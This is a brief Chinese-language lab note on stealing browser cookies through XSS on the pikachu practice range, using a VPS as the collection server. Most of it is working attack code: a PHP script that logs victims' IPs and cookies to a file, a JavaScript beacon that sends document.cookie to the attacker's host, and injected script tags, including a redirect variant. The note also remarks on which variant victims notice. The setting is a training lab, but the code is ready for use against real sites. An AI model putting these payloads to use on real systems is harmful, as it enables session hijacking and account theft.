环境
VPS winserver2012R2 phpstudy apache php
靶机 win10 phpstudy apache php pikachu
vps放置
1.getcookie.php
<?php
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$cookie=$_GET['cookie'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
2.getcookie.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://ip/cookie/getcookie.php?cookie= '+encodeURIComponent(document.cookie);
3.存在xss的页面写入
<script src="http://ip/cookie/getcookie.js"></script>
另一种方式 会自动跳转到钓鱼页面, 会被用户发现。
<script>document.location='http://ip/cookie/getcookie.php?cookie='+document.cookie</script>
document.location 会跳转到指定页面
4. 攻击尝试
vps准备好 代码后
在pikachu靶场存在xss漏洞的页面中写入 3 中的xss代码
5.结果
VPS 上出现cookie.txt
apache log日志中也存在